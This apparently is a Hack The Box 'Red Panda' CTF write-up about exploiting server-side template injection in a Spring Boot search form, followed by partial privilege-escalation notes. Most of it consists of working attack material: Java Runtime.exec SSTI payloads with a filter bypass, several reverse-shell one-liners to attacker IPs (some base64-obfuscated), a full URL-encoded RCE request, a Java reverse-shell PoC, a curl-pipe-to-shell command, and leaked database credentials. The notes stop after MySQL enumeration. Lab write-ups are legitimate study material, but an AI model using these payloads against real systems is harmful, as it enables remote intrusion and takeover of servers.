HTB - Red Panda

2022-09-21InfosecWriteups

  • htb
  • redpanda
  • ssti
  • java

Red Panda is a Spring Boot box where the first real foothold comes from recognizing a template injection path and choosing the right Java expression syntax. The exploit chain is a good reminder that payload syntax matters as much as the vulnerability class.

This writeup covers the service enumeration, the SSTI bypass, getting command execution through Java, and the later privilege escalation path.

Enumerating Services

Service State Port Version
ssh open 22 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
http-proxy open 8080 Spring Boot?

Spring Boot - HTTP Server

Checklist:

Spring Boot - Exploitation Guides

Server Side Template Injection - JAVA

Later on, we found that we could bypass the filtering of ${...} by using the variant *{...}

Multiple variable expressions can be used, if ${…} doesn’t work try #{…}, *{…}, @{…} or ~{…}.

I took away the lesson that sometimes the solution is right in front of us but we don’t stop to look for it.

Reverse Shell

IP = 10.10.14.154 PORT = 8081

Runtime.getRuntime().exec("/bin/bash -c 'exec 5<>/dev/tcp/10.10.14.154/8081;cat <&5 | while read line; do $line 2>&5 >&5; done'").waitFor();

some notes to take into account:

Not working

*{T(java.lang.Runtime).getRuntime().exec("/bin/bash -c 'exec 5<>/dev/tcp/10.10.14.154/8081;cat <&5 | while read line; do $line 2>&5 >&5; done'").waitFor()}

UDP Shell

*{T(java.lang.Runtime).getRuntime().exec('sh -i >& /dev/udp/10.10.14.154/8081 0>&1')}

TCP Shell

*{T(java.lang.Runtime).getRuntime().exec('bash -i >& /dev/tcp/10.10.14.154/4242 0>&1')}

Working Example

POST /search HTTP/1.1
Host: 10.10.11.170:8080
Content-Length: 94
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.170:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.11.170:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

name=*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl 10.10.14.154:4242")}
HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Wed, 31 Aug 2022 00:31:59 GMT
Connection: close
Content-Length: 774

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>Red Panda Search | Made with Spring Boot</title>
    <link rel="stylesheet" href="css/search.css">
  </head>
  <body>
    <form action="/search" method="POST">
    <div class="wrap">
      <div class="search">
        <input type="text" name="name" placeholder="Search for a red panda">
        <button type="submit" class="searchButton">
          <i class="fa fa-search"></i>
        </button>
      </div>
    </div>
  </form>
    <div class="wrapper">
  <div class="results">
    <h2 class="searched">You searched for: Process[pid=3651, exitValue=&quot;not exited&quot;]</h2>
      <h2>There are 0 results for your search</h2>
       
    </div>
    </div>
    
  </body>
</html>

ATTACKER

$ nc -vv -l 4242
GET / HTTP/1.1
Host: 10.10.14.154:4242
User-Agent: curl/7.68.0
Accept: */*
exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.10.14.154/4242;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

r = Runtime
  .getRuntime()
  .exec(["echo -n 'ZXhlYyA1PD4vZGV2L3RjcC8xMC4xMC4xNC4yMzIvODA4MDtjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQo=' | base64 -d | bash"] as String[])
  .waitFor()
echo -n "ZXhlYyA1PD4vZGV2L3RjcC8xMjcuMC4wLjEvNDI0MjtjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAgMj4mNSA+JjU7IGRvbmUK" | base64 -d | sh

TIPS

User:

PE:


$ echo "\[+\] Popping Shell"
$ nc -e /bin/sh 127.0.0.1 4242
$ /bin/bash -c 'exec 5<>/dev/tcp/127.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'

Alternatives:

Method 1

Linux: bash -c {echo,BASE64(bash -i >& /dev/tcp/IP/PORT 0>&1)}|{base64,-d}|{bash,-i}

MAC: bash -c {echo,BASE64(bash -i >& /dev/tcp/IP/PORT 0>&1)}|{base64,-D}|{bash,-i}

Method 2

bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1

Method 3

bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1

References:

PoC - JAVA RCE

Victim

Working PoC, compiling vulnerable Java code:

// Victim Java RCE
class Main
{
    public static void main(String args[]){
            Thread thread = new Thread(){
            public void run(){
                // Reverse shell here
                try {
                    //WORKING:
                    //Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/4242 0>&1").waitFor();
                 	Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx}|{base64,-D}|{bash,-i}");
                } catch (Exception e) {
                  // TODO Auto-generated catch block
                  e.printStackTrace();
                }
              }
            };
            thread.start();

    }
}

Build

javac Main.java

Run

java Main

Attacker

nc -vv -l 4242

Payload

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMzIvNDI0MiAwPiYx}|{base64,-D}|{bash,-i}")

User Flag

At first, I was puttering around and found that the pipe wasn’t working when I was sending a curl (the only command I was sure was working).

curl 10.10.14.232 (WORKING)
echo aaa | curl -d @- 10.10.14.232 (NOT WORKING)

This looked like the piping wasn’t working.

So I googled, how to make pipes work with runtime exec

Indeed, sending commands with Runtime.getRuntime().exec("cmd") ignored the piping.

Runtime.getRuntime().exec(new String[]{"bash", "-c", "cmd"})

So following this example, it worked.

*I had to urlencode the entire payload for it to work.

Working RCE Shell

POST /search HTTP/1.1
Host: 10.10.11.170:8080
Content-Length: 539
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.170:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.11.170:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

name=%2a%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%22%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%53%74%72%69%6e%67%5b%5d%7b%22%62%61%73%68%22%2c%22%2d%63%22%2c%22%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%79%4d%7a%49%76%4e%44%49%30%4d%69%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%7d%29%7d

Phase 2 - ROOT

woodenk@redpanda:~$ uname -a
uname -a
Linux redpanda 5.4.0-121-generic #137-Ubuntu SMP Wed Jun 15 13:33:07 UTC 2022 x86\_64 x86\_64 x86_64 GNU/Linux

woodenk@redpanda:~$ java --version
OpenJDK 64-Bit Server VM warning: Insufficient space for shared memory file:
41854
Try using the -Djava.io.tmpdir= option to select an alternate temp location.

openjdk 11.0.15 2022-04-19
OpenJDK Runtime Environment (build 11.0.15+10-Ubuntu-0ubuntu0.20.04.1)
OpenJDK 64-Bit Server VM (build 11.0.15+10-Ubuntu-0ubuntu0.20.04.1, mixed mode, sharing)

Utilizamos linpeas para Escalar privilegios https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh >> linpeas.sh
# Local network
sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

Inspecting Server

/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java

package com.panda_search.htb.panda_search;

import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;

import org.apache.commons.io.IOUtils;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

@Controller
public class MainController {
  @GetMapping("/stats")
  	public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
        SAXBuilder saxBuilder = new SAXBuilder();
        if(author == null)
        author = "N/A";
        author = author.strip();
        System.out.println('"' + author + '"');
        if(author.equals("woodenk") || author.equals("damian"))
        {
            String path = "/credits/" + author + "_creds.xml";
            File fd = new File(path);
            Document doc = saxBuilder.build(fd);
            Element rootElement = doc.getRootElement();
            String totalviews = rootElement.getChildText("totalviews");
               	List<Element> images = rootElement.getChildren("image");
            for(Element image: images)
                System.out.println(image.getChildText("uri"));
            model.addAttribute("noAuthor", false);
            model.addAttribute("author", author);
            model.addAttribute("totalviews", totalviews);
            model.addAttribute("images", images);
            return new ModelAndView("stats.html");
        }
        else
        {
            model.addAttribute("noAuthor", true);
            return new ModelAndView("stats.html");
        }
    }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
    public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

        System.out.println("Exporting xml of: " + author);
        if(author.equals("woodenk") || author.equals("damian"))
        {
            InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
            System.out.println(in);
            return IOUtils.toByteArray(in);
        }
        else
        {
            return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
        }
    }
  @PostMapping("/search")
    public ModelAndView search(@RequestParam("name") String name, Model model) {
    if(name.isEmpty())
    {
        name = "Greg";
    }
        String query = filter(name);
    ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
    model.addAttribute("pandas", pandas);
    model.addAttribute("n", pandas.size());
    return new ModelAndView("search.html");
    }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
        panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}

/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java

package com.panda_search.htb.panda_search;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletResponse;

import java.io.BufferedWriter;
import java.io.FileWriter;

import javax.servlet.http.HttpServletRequest;

import org.apache.catalina.User;
import org.springframework.web.servlet.ModelAndView;

public class RequestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
        return true;
    }

    @Override
    public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
        String UserAgent = request.getHeader("User-Agent");
        String remoteAddr = request.getRemoteAddr();
        String requestUri = request.getRequestURI();
        Integer responseCode = response.getStatus();
        /*System.out.println("User agent: " + UserAgent);
        System.out.println("IP: " + remoteAddr);
        System.out.println("Uri: " + requestUri);
        System.out.println("Response code: " + responseCode.toString());*/
        System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
        BufferedWriter bw = new BufferedWriter(fw);
        bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
        bw.close();
    }
}

Exploring Mysql

$ mysql -u woodenk -pRedPandazRule --verbose  -e "SHOW DATABASES;"
--------------
SHOW DATABASES
--------------

Database
information_schema
red_panda
mysql -u woodenk -pRedPandazRule --verbose  -e "SHOW PROCEDURE STATUS;"
mysql -u woodenk -pRedPandazRule --verbose  -e "SHOW TRIGGERS;"
woodenk@redpanda:/credits$ mysql -u woodenk -pRedPandazRule --verbose  -e "use red_panda;SHOW TRIGGERS;"
<azRule --verbose  -e "use red_panda;SHOW TRIGGERS;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
SHOW TRIGGERS
--------------

woodenk@redpanda:/credits$  mysql -u woodenk -pRedPandazRule --verbose  -e "use red_panda;SHOW TABLES;"
<ndazRule --verbose  -e "use red_panda;SHOW TABLES;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
SHOW TABLES
--------------

Tables_in_red_panda
pandas
woodenk@redpanda:/credits$ mysql -u woodenk -pRedPandazRule --verbose  -e "use red_panda;selec * from pandas;"
< --verbose  -e "use red_panda;selec * from pandas;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
selec * from pandas
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'selec * from pandas' at line 1
woodenk@redpanda:/credits$ mysql -u woodenk -pRedPandazRule --verbose  -e "use red_panda;select * from pandas;"
<--verbose  -e "use red_panda;select * from pandas;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
select * from pandas
--------------

name	bio	imgloc	author
Smooch	Smooch likes giving kisses and hugs to everyone!	img/smooch.jpg	woodenk
Hungy	Hungy is always hungry so he is eating all the bamboo in the world!	img/hungy.jpg	woodenk
Greg	Greg is a hacker. Watch out for his injection attacks!	img/greg.jpg	woodenk
Mr Puffy	Mr Puffy is the fluffiest red panda to have ever lived.	img/mr_puffy.jpg	damian
Florida	Florida panda is the evil twin of Greg. Watch out for him!	img/florida.jpg	woodenk
Lazy	Lazy is always very sleepy so he likes to lay around all day and do nothing.	img/lazy.jpg	woodenk
Shy	Shy is as his name suggest very shy. But he likes to cuddle when he feels like it.	img/shy.jpg	damian
Smiley	Smiley is always very happy. She loves to look at beautiful people like you !	img/smiley.jpg	woodenk
Angy	Angy is always very grumpy. He sticks out his tongue to everyone.	img/angy.jpg	damian
Peter	Peter loves to climb. We think he was a spider in his previous life.	img/peter.jpg	damian
Crafty	Crafty is always busy creating art. They will become a very famous red panda!	img/crafty.jpg	damian